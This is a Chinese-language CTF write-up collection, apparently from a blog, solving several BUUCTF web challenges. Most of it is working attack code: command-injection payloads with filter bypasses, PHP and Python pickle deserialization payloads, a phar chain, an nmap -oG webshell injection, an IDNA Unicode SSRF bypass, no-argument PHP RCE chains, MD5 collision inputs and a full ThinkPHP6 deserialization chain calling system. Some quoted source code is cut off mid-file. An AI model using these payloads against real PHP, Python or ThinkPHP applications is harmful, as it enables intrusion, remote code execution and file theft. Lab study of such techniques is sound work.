WEB-INF主要包含一下文件或目录:
当点击help
的的时候,会跳转到http://61267db4-f9c8-4c27-bb24-90f51720ca54.node3.buuoj.cn/Download?filename=help.docx
而返回的信息却是java.io.FileNotFoundException:{help.docx}
换成post传入filename=WEB-INF/web.xml
,下载WEB-INF_web.xml
Index
IndexController
com.wm.ctf.IndexController
IndexController
/Index
LoginController
com.wm.ctf.LoginController
LoginController
/Login
DownloadController
com.wm.ctf.DownloadController
DownloadController
/Download
FlagController
com.wm.ctf.FlagController
FlagController
/Flag
看到com.wm.ctf.FlagController
传入filename=WEB-INF/classes/com/wm/ctf/FlagController.class
得到class文件
FlagController
base64解码得到flag
先传一个ip=127.0.0.1|ls
试试水,发现flag.php和index.php
接着ip=127.0.0.1|cat flag.php
,发现空格被ban了
$IFS
${IFS}
$IFS$9
<
<>
{cat,flag.php}
%20
%09
linux命令中可以加\,当禁用cat时可以ca\t /fl\ag
先读一下index.php:ip=127.0.0.1;cat$IFS$9index.php
连flag的贪婪匹配都被ban了,只能用别的办法代替flag
ip=127.0.0.1;a=g;cat$IFS$9fla$a.php
ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
将反引号内命令的输出作为输入执行
ip=127.0.0.1;cat$IFS$9`ls`
".file_get_contents($text,'r')."
";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))
传入一个文件且内容为welcome to the zjctf,先用data协议写入文件,再用file_get_contents函数读取
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=
text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=php://filter/read=convert.base64-encode/resource=useless.php
读取到useless.php的内容如下:
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
序列化POC
得到序列化数组为O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload:http://e85fdb29-4b66-42f4-ad10-ffcfe03c958a.node3.buuoj.cn/?text=data://text/plain;base64,d2VsY29tZSB0byB0aGUgempjdGY=&file=useless.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
GET传参给host变量,经过escapeshellarg()及escapeshellcmd()函数过滤之后,使用system命令执行nmap
这两个函数本是没有漏洞的,但是组合使用时,就会产生漏洞,参考链接如下:
http://www.lmxspace.com/2018/07/16/%E8%B0%88%E8%B0%88escapeshellarg%E5%8F%82%E6%95%B0%E7%BB%95%E8%BF%87%E5%92%8C%E6%B3%A8%E5%85%A5%E7%9A%84%E9%97%AE%E9%A2%98/
这篇文章讲的非常详细,这里就只简单提一下
传入参数:172.17.0.2' -v -d a=1
经过escapeshellarg处理后变成了'172.17.0.2'\'' -v -d a=1',即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。
经过escapeshellcmd处理后变成'172.17.0.2'\\'' -v -d a=1\',因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义
最后执行的命令是curl '172.17.0.2'\\'' -v -d a=1\',由于中间的\\被解释为\而不再是转义字符,所以后面的'没有被转义,与再后面的'配对儿成了一个空白连接符。所以可以简化为curl 172.17.0.2\ -v -d a=1',即向172.17.0.2\发起请求,POST 数据为a=1'。
nmap有一个参数-oG可以实现将命令和结果写到文件,我们可以控制自己的输入写入文件,这里我们可以写入一句话木马链接,也可以直接命令 cat flag
最终payload:````?host=
’ -oG test.php '` ```
url再带上mkdir创建的目录,访问test.php即可获得flag
http://9be60af2-192d-4eb7-abdf-b8b686e864d7.node3.buuoj.cn/2fb73c2b040f6abe4d03e2053aa8aab3/test.php
from flask import Flask, Blueprint, request, Response, escape ,render_template
from urllib.parse import urlsplit, urlunsplit, unquote
from urllib import parse
import urllib.request
app = Flask(__name__)
# Index
@app.route('/', methods=['GET'])
def app_index():
return render_template('index.html')
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1]
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost)
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
前两个判断 host 是否是 suctf.cc ,如果不是才能继续。然后第三个经过了 decode(‘utf-8’) 之后传进了 urlunsplit 函数,在第三个判断中又必须要等于 suctf.cc 才行。
black hat 2019的一个议题,虽然我没看,但还是贴出来
https://i.blackhat.com/USA-19/Thursday/us-19-Birch-HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization.pdf
当传入的url为http://evil.c℀.com在经过处理过后便成为了http://evil.ca/c.com
在unicode中字符℀(U+2100),当IDNA处理此字符时,会将℀变成a/c,因此当你访问此url时,dns服务器会自动将url重定向到另一个网站。如果服务器引用前端url时,只对域名做了限制,那么通过这种方法,我们就可以轻松绕过服务器对域名的限制了。
读取nginx.conf:
getUrl?url=file://suctf.c℆sr/local/nginx/conf/nginx.conf
读取flag:
getUrl?url=file://suctf.c℆sr/fffffflag
随便注册一个账号登录后跳到网盘页面,只能上传图片,上传后可以下载
抓包修改filename依次读取download.php、delete.php及class.php
download.php
open($filename) && stristr($filename, "flag") === false) {
Header("Content-type: application/octet-stream");
Header("Content-Disposition: attachment; filename=" . basename($filename));
echo $file->close();
} else {
echo "File not exist";
}
?>
delete.php
open($filename)) {
$file->detele();
Header("Content-type: application/json");
$response = array("success" => true, "error" => "");
echo json_encode($response);
} else {
Header("Content-type: application/json");
$response = array("success" => false, "error" => "File not exist");
echo json_encode($response);
}
?>
class.php
db = $db;
}
public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}
public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}
public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}
public function __destruct() {
$this->db->close();
}
}
class FileList {
private $files;
private $results;
private $funcs;
public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);
$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);
foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}
public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}
public function __destruct() {
$table = '';
$table .= '';
foreach ($this->funcs as $func) {
$table .= '' . htmlentities($func) . ' ';
}
$table .= 'Opt ';
$table .= ' ';
foreach ($this->results as $filename => $result) {
$table .= '';
foreach ($result as $func => $value) {
$table .= '' . htmlentities($value) . ' ';
}
$table .= '涓嬭浇 / 鍒犻櫎 ';
$table .= ' ';
}
echo $table;
}
}
class File {
public $filename;
public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}
public function name() {
return basename($this->filename);
}
public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}
public function detele() {
unlink($this->filename);
}
public function close() {
return file_get_contents($this->filename);
}
}
?>
phar反序列化
关于这方面的知识,看看hu3sky师傅这篇文章就差不多了
https://xz.aliyun.com/t/2715#toc-16
拓展面:https://paper.seebug.org/680
files=array(new File());
}
}
class File
{
public $filename='/flag.txt';
}
$b=new FileList();
$c=new User();
$c->db=$b;
// create new Phar
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('');
$phar->setMetadata($c);
$phar->stopBuffering();
?>
把生成的phar文件上传,抓包修改为phar.gif,修改MIME类型
最后再删除,将filename改为phar://phar.gif
[CISCN2019 华北赛区 Day1 Web2]ikun
逻辑漏洞
ikun们爆破*站当然要买lv6啦,审查元素发现等级图标的命名为lvX.png
写个脚本找到lv6的号
import requests
url = "http://de62edf4-5892-49f6-9bd7-50e0d1e67b86.node3.buuoj.cn/shop?page="
for i in range(1000):
r = requests.get(url+str(i))
if "lv6.png" in r.text:
print(i)
break
最后在第181页找到lv6的账号,抓包看支付请求
这里只能改折扣到足够小,改到0或是改价格都会错误,改完之后跳转到b1g_m4mber
页面
jwt-cookies伪造
关于JWT(Json web token)可以看下面这篇文章
https://www.jianshu.com/p/576dbf44b2ae
要想伪造jwt,首先要反推出私钥
最后伪造出admin的jwt并修改,以admin身份登录
F12发现hint,www.zip源码泄露/static/asd1f654e683wq/www.zip
python反序列化
payload:
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
用运行得到的结果替代原有become参数,即可带出flag
[GXYCTF2019]禁止套娃
.git源码泄露,不再赘述
";
if(isset($_GET['exp'])){
if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
// echo $_GET['exp'];
@eval($_GET['exp']);
}
else{
die("还差一点哦!");
}
}
else{
die("再好好想想!");
}
}
else{
die("还想读flag,臭弟弟!");
}
}
// highlight_file(__FILE__);
?>
无参数RCE
推荐两篇文章:https://www.cnblogs.com/wangtanzhi/p/12311239.html
https://www.gem-love.com/ctf/530.html#%E5%A6%82%E4%BD%95%E5%BE%97%E5%88%B0%E6%96%87%E4%BB%B6%E5%90%8Dflag.php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);}
preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)
pre_match('/et|na|nt|strlen|info|path||rand|dec|bin|hex|oct|pi|exp|log/i', $code))
preg_replace 的主要功能就是限制我们传输进来的必须是纯小写字母的函数,而且不能携带参数。
再来看一下:(?R)?,这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数)
相关函数
- localeconv() 函数返回一包含本地数字及货币格式信息的数组
- scandir() 列出当前目录和文件
- readfile() 函数读取一个文件,并写入到输出缓冲
- highlight_file() 文件高亮显示
- next() 输出数组中的下一个元素的值
- array_reverse() 相反的元素顺序返回数组
先扫出当前文件
print_r(scandir(current(localeconv())));
或
print_r(scandir(pos(localeconv())));
逆序返回数组
print_r(array_reverse(scandir(current(localeconv()))));
输出数组下一个元素
print_r(next(array_reverse(scandir(pos(localeconv())))));
读取flag
highlight_file(next(array_reverse(scandir(pos(localeconv())))));
或
view-source:http://85aecbd4-ce26-4171-95b5-7c7a13006363.node3.buuoj.cn/?exp=print_r(readfile(next(array_reverse(scandir(pos(localeconv()))))));
也可以随机取出元素并读取
highlight_file(array_rand(array_flip(scandir(current(localeconv())))));
session_id(session_start())
[安洵杯 2019]easy_web
http://xxx/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=
base64->base64->hex,解码后为555.png,尝试读取index.php
TmprMlpUWTBOalUzT0RKbE56QTJPRGN3
';
die("xixi~ no flag");
} else {
$txt = base64_encode(file_get_contents($file));
echo "";
echo "
";
}
echo $cmd;
echo "
";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
echo("forbid ~");
echo "
";
} else {
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
}
?>
md5强碰撞
if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
echo `$cmd`;
} else {
echo ("md5 is funny ~");
}
关于自制值相同而md5不同的数据,可以参考这篇文章https://xz.aliyun.com/t/2232
post数据如下:
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
非预期:反斜杠逃逸命令执行
cmd=ca\t%20/flag
sort命令
cmd=sort%20/flag
Linux sort命令用于将文本文件内容加以排序。
sort可针对文本文件的内容,以行为单位来排序。
[安洵杯 2019]iamthinking
thinkphp6反序列化
www.zip拿到源码,构造thinkphp6反序列化,同时需要绕过parse_url
exp:
lazySave = true;
$this->table = $obj;
$this->visible = array(array('hu3sky'=>'aaa'));
$this->relation = array("hu3sky"=>'aaa');
$this->data = array("a"=>'cat /flag');
$this->withAttr = array("a"=>"system");
}
}
}
namespace think\model\concern {
trait Conversion
{
protected $visible;
}
trait RelationShip
{
private $relation;
}
trait Attribute
{
private $data;
private $withAttr;
}
}
namespace think\model {
class Pivot extends \think\Model
{
}
}
namespace {
$a = new think\model\Pivot('');
$b = new think\model\Pivot($a);
echo urlencode(serialize($b));
}
payload:///public/?payload=O%3A17%3A"think%5Cmodel%5CPivot"%3A6%3A%7Bs%3A21%3A"%00think%5CModel%00lazySave"%3Bb%3A1%3Bs%3A8%3A"%00%2A%00table"%3BO%3A17%3A"think%5Cmodel%5CPivot"%3A6%3A%7Bs%3A21%3A"%00think%5CModel%00lazySave"%3Bb%3A1%3Bs%3A8%3A"%00%2A%00table"%3Bs%3A0%3A""%3Bs%3A10%3A"%00%2A%00visible"%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7D%7Ds%3A21%3A"%00think%5CModel%00relation"%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7Ds%3A17%3A"%00think%5CModel%00data"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A9%3A"cat+%2Fflag"%3B%7Ds%3A21%3A"%00think%5CModel%00withAttr"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A6%3A"system"%3B%7D%7Ds%3A10%3A"%00%2A%00visible"%3Ba%3A1%3A%7Bi%3A0%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7D%7Ds%3A21%3A"%00think%5CModel%00relation"%3Ba%3A1%3A%7Bs%3A6%3A"hu3sky"%3Bs%3A3%3A"aaa"%3B%7Ds%3A17%3A"%00think%5CModel%00data"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A9%3A"cat+%2Fflag"%3B%7Ds%3A21%3A"%00think%5CModel%00withAttr"%3Ba%3A1%3A%7Bs%3A1%3A"a"%3Bs%3A6%3A"system"%3B%7D%7D
你可能感兴趣的:(CTF)